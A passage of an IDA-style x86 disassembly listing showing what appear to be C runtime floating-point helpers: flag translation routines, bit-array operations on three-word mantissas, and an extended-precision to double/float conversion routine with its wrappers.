loc_42B03B:				; CODE XREF: sub_42AF00+126j
		mov	ecx, [ebp+var_4]
		or	ecx, 10000h
		mov	[ebp+var_4], ecx
		jmp	short loc_42B055
; ---------------------------------------------------------------------------


loc_42B049:				; CODE XREF: sub_42AF00+11Dj
		mov	edx, [ebp+var_4]
		or	edx, 20000h
		mov	[ebp+var_4], edx


loc_42B055:				; CODE XREF: sub_42AF00+131j
					; sub_42AF00+139j ...
		mov	eax, [ebp+arg_0]
		and	eax, 0FFFFh
		and	eax, 1000h
		test	eax, eax
		jz	short loc_42B072
		mov	ecx, [ebp+var_4]
		or	ecx, 40000h
		mov	[ebp+var_4], ecx


loc_42B072:				; CODE XREF: sub_42AF00+164j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_42AF00	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42B080	proc near		; CODE XREF: sub_42AE30+36p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	[ebp+var_4], 0
		mov	eax, [ebp+arg_0]
		and	eax, 10h
		test	eax, eax
		jz	short loc_42B0A1
		mov	cx, [ebp+var_4]
		or	cl, 1
		mov	[ebp+var_4], cx


loc_42B0A1:				; CODE XREF: sub_42B080+14j
		mov	edx, [ebp+arg_0]
		and	edx, 8
		test	edx, edx
		jz	short loc_42B0B5
		mov	ax, [ebp+var_4]
		or	al, 4
		mov	[ebp+var_4], ax


loc_42B0B5:				; CODE XREF: sub_42B080+29j
		mov	ecx, [ebp+arg_0]
		and	ecx, 4
		test	ecx, ecx
		jz	short loc_42B0CA
		mov	dx, [ebp+var_4]
		or	dl, 8
		mov	[ebp+var_4], dx


loc_42B0CA:				; CODE XREF: sub_42B080+3Dj
		mov	eax, [ebp+arg_0]
		and	eax, 2
		test	eax, eax
		jz	short loc_42B0DF
		mov	cx, [ebp+var_4]
		or	cl, 10h
		mov	[ebp+var_4], cx


loc_42B0DF:				; CODE XREF: sub_42B080+52j
		mov	edx, [ebp+arg_0]
		and	edx, 1
		test	edx, edx
		jz	short loc_42B0F3
		mov	ax, [ebp+var_4]
		or	al, 20h
		mov	[ebp+var_4], ax


loc_42B0F3:				; CODE XREF: sub_42B080+67j
		mov	ecx, [ebp+arg_0]
		and	ecx, 80000h
		test	ecx, ecx
		jz	short loc_42B10B
		mov	dx, [ebp+var_4]
		or	dl, 2
		mov	[ebp+var_4], dx


loc_42B10B:				; CODE XREF: sub_42B080+7Ej
		mov	eax, [ebp+arg_0]
		and	eax, 300h
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 200h
		ja	short loc_42B139
		cmp	[ebp+var_8], 200h
		jz	short loc_42B14E
		cmp	[ebp+var_8], 0
		jz	short loc_42B144
		cmp	[ebp+var_8], 100h
		jz	short loc_42B15B
		jmp	short loc_42B173
; ---------------------------------------------------------------------------


loc_42B139:				; CODE XREF: sub_42B080+9Dj
		cmp	[ebp+var_8], 300h
		jz	short loc_42B168
		jmp	short loc_42B173
; ---------------------------------------------------------------------------


loc_42B144:				; CODE XREF: sub_42B080+ACj
		mov	cx, [ebp+var_4]
		mov	[ebp+var_4], cx
		jmp	short loc_42B173
; ---------------------------------------------------------------------------


loc_42B14E:				; CODE XREF: sub_42B080+A6j
		mov	dx, [ebp+var_4]
		or	dh, 8
		mov	[ebp+var_4], dx
		jmp	short loc_42B173
; ---------------------------------------------------------------------------


loc_42B15B:				; CODE XREF: sub_42B080+B5j
		mov	ax, [ebp+var_4]
		or	ah, 4
		mov	[ebp+var_4], ax
		jmp	short loc_42B173
; ---------------------------------------------------------------------------


loc_42B168:				; CODE XREF: sub_42B080+C0j
		mov	cx, [ebp+var_4]
		or	ch, 0Ch
		mov	[ebp+var_4], cx


loc_42B173:				; CODE XREF: sub_42B080+B7j
					; sub_42B080+C2j ...
		mov	edx, [ebp+arg_0]
		and	edx, 30000h
		mov	[ebp+var_C], edx
		cmp	[ebp+var_C], 0
		jz	short loc_42B199
		cmp	[ebp+var_C], 10000h
		jz	short loc_42B1A6
		cmp	[ebp+var_C], 20000h
		jz	short loc_42B1B3
		jmp	short loc_42B1BB
; ---------------------------------------------------------------------------


loc_42B199:				; CODE XREF: sub_42B080+103j
		mov	ax, [ebp+var_4]
		or	ah, 3
		mov	[ebp+var_4], ax
		jmp	short loc_42B1BB
; ---------------------------------------------------------------------------


loc_42B1A6:				; CODE XREF: sub_42B080+10Cj
		mov	cx, [ebp+var_4]
		or	ch, 2
		mov	[ebp+var_4], cx
		jmp	short loc_42B1BB
; ---------------------------------------------------------------------------


loc_42B1B3:				; CODE XREF: sub_42B080+115j
		mov	dx, [ebp+var_4]
		mov	[ebp+var_4], dx


loc_42B1BB:				; CODE XREF: sub_42B080+117j
					; sub_42B080+124j ...
		mov	eax, [ebp+arg_0]
		and	eax, 40000h
		test	eax, eax
		jz	short loc_42B1D2
		mov	cx, [ebp+var_4]
		or	ch, 10h
		mov	[ebp+var_4], cx


loc_42B1D2:				; CODE XREF: sub_42B080+145j
		mov	ax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_42B080	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42B1E0	proc near		; CODE XREF: .data:0042AE00p
					; .data:0042AE21p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], 0
		mov	eax, [ebp+arg_0]
		and	eax, 0FFFFh
		and	eax, 1
		test	eax, eax
		jz	short loc_42B203
		mov	ecx, [ebp+var_4]
		or	ecx, 10h
		mov	[ebp+var_4], ecx


loc_42B203:				; CODE XREF: sub_42B1E0+18j
		mov	edx, [ebp+arg_0]
		and	edx, 0FFFFh
		and	edx, 4
		test	edx, edx
		jz	short loc_42B21B
		mov	eax, [ebp+var_4]
		or	al, 8
		mov	[ebp+var_4], eax


loc_42B21B:				; CODE XREF: sub_42B1E0+31j
		mov	ecx, [ebp+arg_0]
		and	ecx, 0FFFFh
		and	ecx, 8
		test	ecx, ecx
		jz	short loc_42B234
		mov	edx, [ebp+var_4]
		or	edx, 4
		mov	[ebp+var_4], edx


loc_42B234:				; CODE XREF: sub_42B1E0+49j
		mov	eax, [ebp+arg_0]
		and	eax, 0FFFFh
		and	eax, 10h
		test	eax, eax
		jz	short loc_42B24C
		mov	ecx, [ebp+var_4]
		or	ecx, 2
		mov	[ebp+var_4], ecx


loc_42B24C:				; CODE XREF: sub_42B1E0+61j
		mov	edx, [ebp+arg_0]
		and	edx, 0FFFFh
		and	edx, 20h
		test	edx, edx
		jz	short loc_42B264
		mov	eax, [ebp+var_4]
		or	al, 1
		mov	[ebp+var_4], eax


loc_42B264:				; CODE XREF: sub_42B1E0+7Aj
		mov	ecx, [ebp+arg_0]
		and	ecx, 0FFFFh
		and	ecx, 2
		test	ecx, ecx
		jz	short loc_42B280
		mov	edx, [ebp+var_4]
		or	edx, 80000h
		mov	[ebp+var_4], edx


loc_42B280:				; CODE XREF: sub_42B1E0+92j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_42B1E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42B290	proc near		; CODE XREF: sub_42B3D0+70p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		cdq
		and	edx, 1Fh
		add	eax, edx
		sar	eax, 5
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		and	eax, 8000001Fh
		jns	short loc_42B2B4
		dec	eax
		or	eax, 0FFFFFFE0h
		inc	eax


loc_42B2B4:				; CODE XREF: sub_42B290+1Dj
		mov	ecx, 1Fh
		sub	ecx, eax
		mov	[ebp+var_4], ecx
		or	edx, 0FFFFFFFFh
		mov	ecx, [ebp+var_4]
		shl	edx, cl
		not	edx
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+eax*4]
		and	edx, [ebp+var_8]
		test	edx, edx
		jz	short loc_42B2DF
		xor	eax, eax
		jmp	short loc_42B310
; ---------------------------------------------------------------------------


loc_42B2DF:				; CODE XREF: sub_42B290+49j
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax
		jmp	short loc_42B2F3
; ---------------------------------------------------------------------------


loc_42B2EA:				; CODE XREF: sub_42B290:loc_42B309j
		mov	ecx, [ebp+var_C]
		add	ecx, 1
		mov	[ebp+var_C], ecx


loc_42B2F3:				; CODE XREF: sub_42B290+58j
		cmp	[ebp+var_C], 3
		jge	short loc_42B30B
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+edx*4], 0
		jz	short loc_42B309
		xor	eax, eax
		jmp	short loc_42B310
; ---------------------------------------------------------------------------


loc_42B309:				; CODE XREF: sub_42B290+73j
		jmp	short loc_42B2EA
; ---------------------------------------------------------------------------


loc_42B30B:				; CODE XREF: sub_42B290+67j
		mov	eax, 1


loc_42B310:				; CODE XREF: sub_42B290+4Dj
					; sub_42B290+77j
		mov	esp, ebp
		pop	ebp
		retn
sub_42B290	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42B320	proc near		; CODE XREF: sub_42B3D0+84p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		cdq
		and	edx, 1Fh
		add	eax, edx
		sar	eax, 5
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		and	eax, 8000001Fh
		jns	short loc_42B344
		dec	eax
		or	eax, 0FFFFFFE0h
		inc	eax


loc_42B344:				; CODE XREF: sub_42B320+1Dj
		mov	ecx, 1Fh
		sub	ecx, eax
		mov	[ebp+var_4], ecx
		mov	edx, 1
		mov	ecx, [ebp+var_4]
		shl	edx, cl
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_0]
		lea	edx, [ecx+eax*4]
		push	edx
		mov	eax, [ebp+var_8]
		push	eax
		mov	ecx, [ebp+var_C]
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+ecx*4]
		push	eax
		call	sub_42E4F0
		add	esp, 0Ch
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+var_C]
		sub	ecx, 1
		mov	[ebp+var_C], ecx
		jmp	short loc_42B392
; ---------------------------------------------------------------------------


loc_42B389:				; CODE XREF: sub_42B320+9Fj
		mov	edx, [ebp+var_C]
		sub	edx, 1
		mov	[ebp+var_C], edx


loc_42B392:				; CODE XREF: sub_42B320+67j
		cmp	[ebp+var_C], 0
		jl	short loc_42B3C1
		cmp	[ebp+var_10], 0
		jz	short loc_42B3C1
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_0]
		lea	edx, [ecx+eax*4]
		push	edx
		push	1
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+eax*4]
		push	edx
		call	sub_42E4F0
		add	esp, 0Ch
		mov	[ebp+var_10], eax
		jmp	short loc_42B389
; ---------------------------------------------------------------------------


loc_42B3C1:				; CODE XREF: sub_42B320+76j
					; sub_42B320+7Cj
		mov	eax, [ebp+var_10]
		mov	esp, ebp
		pop	ebp
		retn
sub_42B320	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42B3D0	proc near		; CODE XREF: sub_42B660+ABp
					; sub_42B660+132p ...

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	[ebp+var_18], 0
		mov	eax, [ebp+arg_4]
		sub	eax, 1
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_C], ecx
		mov	eax, [ebp+var_C]
		cdq
		and	edx, 1Fh
		add	eax, edx
		sar	eax, 5
		mov	[ebp+var_14], eax
		mov	edx, [ebp+var_C]
		and	edx, 8000001Fh
		jns	short loc_42B40E
		dec	edx
		or	edx, 0FFFFFFE0h
		inc	edx


loc_42B40E:				; CODE XREF: sub_42B3D0+37j
		mov	eax, 1Fh
		sub	eax, edx
		mov	[ebp+var_8], eax
		mov	edx, 1
		mov	ecx, [ebp+var_8]
		shl	edx, cl
		mov	[ebp+var_1C], edx
		mov	eax, [ebp+var_14]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+eax*4]
		and	edx, [ebp+var_1C]
		test	edx, edx
		jz	short loc_42B45F
		mov	eax, [ebp+var_C]
		add	eax, 1
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42B290
		add	esp, 8
		test	eax, eax
		jnz	short loc_42B45F
		mov	edx, [ebp+var_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42B320
		add	esp, 8
		mov	[ebp+var_18], eax


loc_42B45F:				; CODE XREF: sub_42B3D0+63j
					; sub_42B3D0+7Aj
		or	edx, 0FFFFFFFFh
		mov	ecx, [ebp+var_8]
		shl	edx, cl
		mov	eax, [ebp+var_14]
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx+eax*4]
		and	eax, edx
		mov	ecx, [ebp+var_14]
		mov	edx, [ebp+arg_0]
		mov	[edx+ecx*4], eax
		mov	eax, [ebp+var_14]
		add	eax, 1
		mov	[ebp+var_10], eax
		jmp	short loc_42B48F
; ---------------------------------------------------------------------------


loc_42B486:				; CODE XREF: sub_42B3D0+D2j
		mov	ecx, [ebp+var_10]
		add	ecx, 1
		mov	[ebp+var_10], ecx


loc_42B48F:				; CODE XREF: sub_42B3D0+B4j
		cmp	[ebp+var_10], 3
		jge	short loc_42B4A4
		mov	edx, [ebp+var_10]
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+edx*4], 0
		jmp	short loc_42B486
; ---------------------------------------------------------------------------


loc_42B4A4:				; CODE XREF: sub_42B3D0+C3j
		mov	eax, [ebp+var_18]
		mov	esp, ebp
		pop	ebp
		retn
sub_42B3D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42B4B0	proc near		; CODE XREF: sub_42B660+98p
					; sub_42B660+10Fp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_8], ecx
		mov	[ebp+var_C], 0
		jmp	short loc_42B4D4
; ---------------------------------------------------------------------------


loc_42B4CB:				; CODE XREF: sub_42B4B0+46j
		mov	edx, [ebp+var_C]
		add	edx, 1
		mov	[ebp+var_C], edx


loc_42B4D4:				; CODE XREF: sub_42B4B0+19j
		cmp	[ebp+var_C], 3
		jge	short loc_42B4F8
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx]
		mov	[eax], edx
		mov	eax, [ebp+var_8]
		add	eax, 4
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_4]
		add	ecx, 4
		mov	[ebp+var_4], ecx
		jmp	short loc_42B4CB
; ---------------------------------------------------------------------------


loc_42B4F8:				; CODE XREF: sub_42B4B0+28j
		mov	esp, ebp
		pop	ebp
		retn
sub_42B4B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42B500	proc near		; CODE XREF: sub_42B660+7Cp
					; sub_42B660+D5p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], 0
		jmp	short loc_42B516
; ---------------------------------------------------------------------------


loc_42B50D:				; CODE XREF: sub_42B500+29j
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax


loc_42B516:				; CODE XREF: sub_42B500+Bj
		cmp	[ebp+var_4], 3
		jge	short loc_42B52B
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+ecx*4], 0
		jmp	short loc_42B50D
; ---------------------------------------------------------------------------


loc_42B52B:				; CODE XREF: sub_42B500+1Aj
		mov	esp, ebp
		pop	ebp
		retn
sub_42B500	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42B530	proc near		; CODE XREF: sub_42B660+63p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], 0
		jmp	short loc_42B546
; ---------------------------------------------------------------------------


loc_42B53D:				; CODE XREF: sub_42B530:loc_42B55Cj
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax


loc_42B546:				; CODE XREF: sub_42B530+Bj
		cmp	[ebp+var_4], 3
		jge	short loc_42B55E
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+arg_0]
		cmp	dword ptr [edx+ecx*4], 0
		jz	short loc_42B55C
		xor	eax, eax
		jmp	short loc_42B563
; ---------------------------------------------------------------------------


loc_42B55C:				; CODE XREF: sub_42B530+26j
		jmp	short loc_42B53D
; ---------------------------------------------------------------------------


loc_42B55E:				; CODE XREF: sub_42B530+1Aj
		mov	eax, 1


loc_42B563:				; CODE XREF: sub_42B530+2Aj
		mov	esp, ebp
		pop	ebp
		retn
sub_42B530	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42B570	proc near		; CODE XREF: sub_42B660+11Fp
					; sub_42B660+148p ...

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	esi
		mov	eax, [ebp+arg_4]
		cdq
		and	edx, 1Fh
		add	eax, edx
		sar	eax, 5
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_4]
		and	eax, 8000001Fh
		jns	short loc_42B595
		dec	eax
		or	eax, 0FFFFFFE0h
		inc	eax


loc_42B595:				; CODE XREF: sub_42B570+1Ej
		mov	[ebp+var_4], eax
		or	edx, 0FFFFFFFFh
		mov	ecx, [ebp+var_4]
		shl	edx, cl
		not	edx
		mov	[ebp+var_14], edx
		mov	[ebp+var_8], 0
		mov	[ebp+var_C], 0
		jmp	short loc_42B5BE
; ---------------------------------------------------------------------------


loc_42B5B5:				; CODE XREF: sub_42B570+9Fj
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax


loc_42B5BE:				; CODE XREF: sub_42B570+43j
		cmp	[ebp+var_C], 3
		jge	short loc_42B611
		mov	ecx, [ebp+var_C]
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+ecx*4]
		and	eax, [ebp+var_14]
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+var_C]
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+ecx*4]
		mov	ecx, [ebp+var_4]
		shr	eax, cl
		mov	ecx, [ebp+var_C]
		mov	edx, [ebp+arg_0]
		mov	[edx+ecx*4], eax
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+eax*4]
		or	edx, [ebp+var_8]
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_0]
		mov	[ecx+eax*4], edx
		mov	ecx, 20h
		sub	ecx, [ebp+var_4]
		mov	edx, [ebp+var_10]
		shl	edx, cl
		mov	[ebp+var_8], edx
		jmp	short loc_42B5B5
; ---------------------------------------------------------------------------


loc_42B611:				; CODE XREF: sub_42B570+52j
		mov	[ebp+var_C], 2
		jmp	short loc_42B623
; ---------------------------------------------------------------------------


loc_42B61A:				; CODE XREF: sub_42B570:loc_42B655j
		mov	eax, [ebp+var_C]
		sub	eax, 1
		mov	[ebp+var_C], eax


loc_42B623:				; CODE XREF: sub_42B570+A8j
		cmp	[ebp+var_C], 0
		jl	short loc_42B657
		mov	ecx, [ebp+var_C]
		cmp	ecx, [ebp+var_18]
		jl	short loc_42B648
		mov	edx, [ebp+var_C]
		sub	edx, [ebp+var_18]
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_0]
		mov	esi, [ebp+arg_0]
		mov	edx, [esi+edx*4]
		mov	[ecx+eax*4], edx
		jmp	short loc_42B655
; ---------------------------------------------------------------------------


loc_42B648:				; CODE XREF: sub_42B570+BFj
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx+eax*4], 0


loc_42B655:				; CODE XREF: sub_42B570+D6j
		jmp	short loc_42B61A
; ---------------------------------------------------------------------------


loc_42B657:				; CODE XREF: sub_42B570+B7j
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_42B570	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42B660	proc near		; CODE XREF: sub_42B8B0+10p
					; sub_42B8D0+10p

var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx
		mov	cx, [eax+0Ah]
		and	ecx, 7FFFh
		sub	ecx, 3FFFh
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+arg_0]
		xor	eax, eax
		mov	ax, [edx+0Ah]
		and	eax, 8000h
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+6]
		mov	[ebp+var_18], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+2]
		mov	[ebp+var_14], ecx
		mov	edx, [ebp+arg_0]
		xor	eax, eax
		mov	ax, [edx]
		shl	eax, 10h
		mov	[ebp+var_10], eax
		cmp	[ebp+var_4], 0FFFFC001h
		jnz	short loc_42B6F0
		mov	[ebp+var_8], 0
		lea	ecx, [ebp+var_18]
		push	ecx
		call	sub_42B530
		add	esp, 4
		test	eax, eax
		jz	short loc_42B6D8
		mov	[ebp+var_1C], 0
		jmp	short loc_42B6EB
; ---------------------------------------------------------------------------


loc_42B6D8:				; CODE XREF: sub_42B660+6Dj
		lea	edx, [ebp+var_18]
		push	edx
		call	sub_42B500
		add	esp, 4
		mov	[ebp+var_1C], 2


loc_42B6EB:				; CODE XREF: sub_42B660+76j
		jmp	loc_42B83C
; ---------------------------------------------------------------------------


loc_42B6F0:				; CODE XREF: sub_42B660+56j
		lea	eax, [ebp+var_18]
		push	eax
		lea	ecx, [ebp+var_30]
		push	ecx
		call	sub_42B4B0
		add	esp, 8
		mov	edx, [ebp+arg_8]
		mov	eax, [edx+8]
		push	eax
		lea	ecx, [ebp+var_18]
		push	ecx
		call	sub_42B3D0
		add	esp, 8
		test	eax, eax
		jz	short loc_42B720
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx


loc_42B720:				; CODE XREF: sub_42B660+B5j
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	edx, [eax+4]
		sub	edx, [ecx+8]
		cmp	[ebp+var_4], edx
		jge	short loc_42B750
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_42B500
		add	esp, 4
		mov	[ebp+var_8], 0
		mov	[ebp+var_1C], 2
		jmp	loc_42B83C
; ---------------------------------------------------------------------------


loc_42B750:				; CODE XREF: sub_42B660+CFj
		mov	ecx, [ebp+arg_8]
		mov	edx, [ebp+var_4]
		cmp	edx, [ecx+4]
		jg	short loc_42B7C0
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax+4]
		sub	ecx, [ebp+var_4]
		mov	[ebp+var_34], ecx
		lea	edx, [ebp+var_30]
		push	edx
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_42B4B0
		add	esp, 8
		mov	ecx, [ebp+var_34]
		push	ecx
		lea	edx, [ebp+var_18]
		push	edx
		call	sub_42B570
		add	esp, 8
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax+8]
		push	ecx
		lea	edx, [ebp+var_18]
		push	edx
		call	sub_42B3D0
		add	esp, 8
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax+0Ch]
		add	ecx, 1
		push	ecx
		lea	edx, [ebp+var_18]
		push	edx
		call	sub_42B570
		add	esp, 8
		mov	[ebp+var_8], 0
		mov	[ebp+var_1C], 2
		jmp	short loc_42B83C
; ---------------------------------------------------------------------------


loc_42B7C0:				; CODE XREF: sub_42B660+F9j
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_4]
		cmp	ecx, [eax]
		jl	short loc_42B80B
		lea	edx, [ebp+var_18]
		push	edx
		call	sub_42B500
		add	esp, 4
		mov	eax, [ebp+var_18]
		or	eax, 80000000h
		mov	[ebp+var_18], eax
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx+0Ch]
		push	edx
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_42B570
		add	esp, 8
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx]
		mov	eax, [ebp+arg_8]
		add	edx, [eax+14h]
		mov	[ebp+var_8], edx
		mov	[ebp+var_1C], 1
		jmp	short loc_42B83C
; ---------------------------------------------------------------------------


loc_42B80B:				; CODE XREF: sub_42B660+168j
		mov	ecx, [ebp+arg_8]
		mov	edx, [ebp+var_4]
		add	edx, [ecx+14h]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_18]
		and	eax, 7FFFFFFFh
		mov	[ebp+var_18], eax
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx+0Ch]
		push	edx
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_42B570
		add	esp, 8
		mov	[ebp+var_1C], 0


loc_42B83C:				; CODE XREF: sub_42B660:loc_42B6EBj
					; sub_42B660+EBj ...
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx+0Ch]
		add	edx, 1
		mov	eax, 20h
		sub	eax, edx
		mov	[ebp+var_C], eax
		mov	edx, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		shl	edx, cl
		mov	eax, [ebp+var_18]
		or	eax, edx
		mov	ecx, [ebp+var_20]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	eax, ecx
		mov	[ebp+var_24], eax
		mov	edx, [ebp+arg_8]
		cmp	dword ptr [edx+10h], 40h
		jnz	short loc_42B88A
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_24]
		mov	[eax+4], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_14]
		mov	[edx], eax
		jmp	short loc_42B89B
; ---------------------------------------------------------------------------


loc_42B88A:				; CODE XREF: sub_42B660+215j
		mov	ecx, [ebp+arg_8]
		cmp	dword ptr [ecx+10h], 20h
		jnz	short loc_42B89B
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_24]
		mov	[edx], eax


loc_42B89B:				; CODE XREF: sub_42B660+228j
					; sub_42B660+231j
		mov	eax, [ebp+var_1C]
		mov	esp, ebp
		pop	ebp
		retn
sub_42B660	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42B8B0	proc near		; CODE XREF: sub_42B9B0+2Ap

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	offset dword_447AF8
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42B660
		add	esp, 0Ch
		pop	ebp
		retn
sub_42B8B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42B8D0	proc near		; CODE XREF: sub_42BA30+2Ap

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	offset dword_447B10
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42B660
		add	esp, 0Ch
		pop	ebp
		retn
sub_42B8D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42B8F0	proc near		; CODE XREF: .data:0042BA1Ap
					; .data:0042F34Fp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
